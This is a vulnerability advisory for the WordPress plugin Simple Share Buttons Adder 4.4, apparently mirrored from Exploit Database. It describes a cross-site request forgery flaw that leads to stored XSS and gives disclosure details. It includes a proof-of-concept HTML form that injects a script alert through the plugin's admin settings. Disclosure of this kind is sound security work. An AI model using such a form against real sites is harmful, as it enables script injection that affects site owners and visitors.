WordPress Plugin Simple Share Buttons Adder 4.4 – Multiple Vulnerabilities

• Exploit Database
• 14 阅读

• 作者： dxw
  日期： 2014-06-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/33896/

• Details
  ================
  Software: Simple Share Buttons Adder
  Version: 4.4
  Homepage: https://wordpress.org/plugins/simple-share-buttons-adder/
  Advisory report: https://security.dxw.com/advisories/csrf-and-stored-xss-in-simple-share-buttons-adder/
  CVE: Awaiting assignment
  CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:P)
  
  Description
  ================
  CSRF and stored XSS in Simple Share Buttons Adder 4.4
  
  Vulnerability
  ================
  An attacker able to convince an admin to visit a link of their choosing is able to execute arbitrary javascript in the context of the Homepage, Pages, Posts, Category/Archive pages and post Excerpts.
  
  
  Proof of concept
  ================
  If a logged-in administrator user clicks the submit button on this form, a javascript alert will display on the homepage. (In a real attack the form can be made to auto-submit using Javascript).
  <form action=\"http://scone.local:8000/wp-admin/options-general.php?page=simple-share-buttons-adder\" method=\"POST\">
  <input type=\"hidden\" name=\"ssba_options\" value=\"save\">
  <input type=\"checkbox\" name=\"ssba_homepage\" value=\"Y\">
  <input type=\"text\" name=\"ssba_text_placement\" value= \"below\">
  <input type=\"text\" name=\"ssba_before_or_after\" value= \"after\">
  <input type=\"text\" name=\"ssba_share_text\" value=\"<script>alert(\'foo\')</script>\">
  <input type=\"submit\">
  </form>
  
  Mitigations
  ================
  Immediately upgrade to version 4.5 or greater.
  
  Disclosure policy
  ================
  dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
  
  Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
  
  This vulnerability will be published if we do not receive a response to this report with 14 days.
  
  Timeline
  ================
  
  2014-06-19: Discovered
  2014-06-25: Reported to WP.org and author via email
  2014-06-26: Author reports issue fixed in version 4.5
  
   
  
  
  Discovered by dxw:
  ================
  Duncan Stuart
  Please visit security.dxw.com for more information.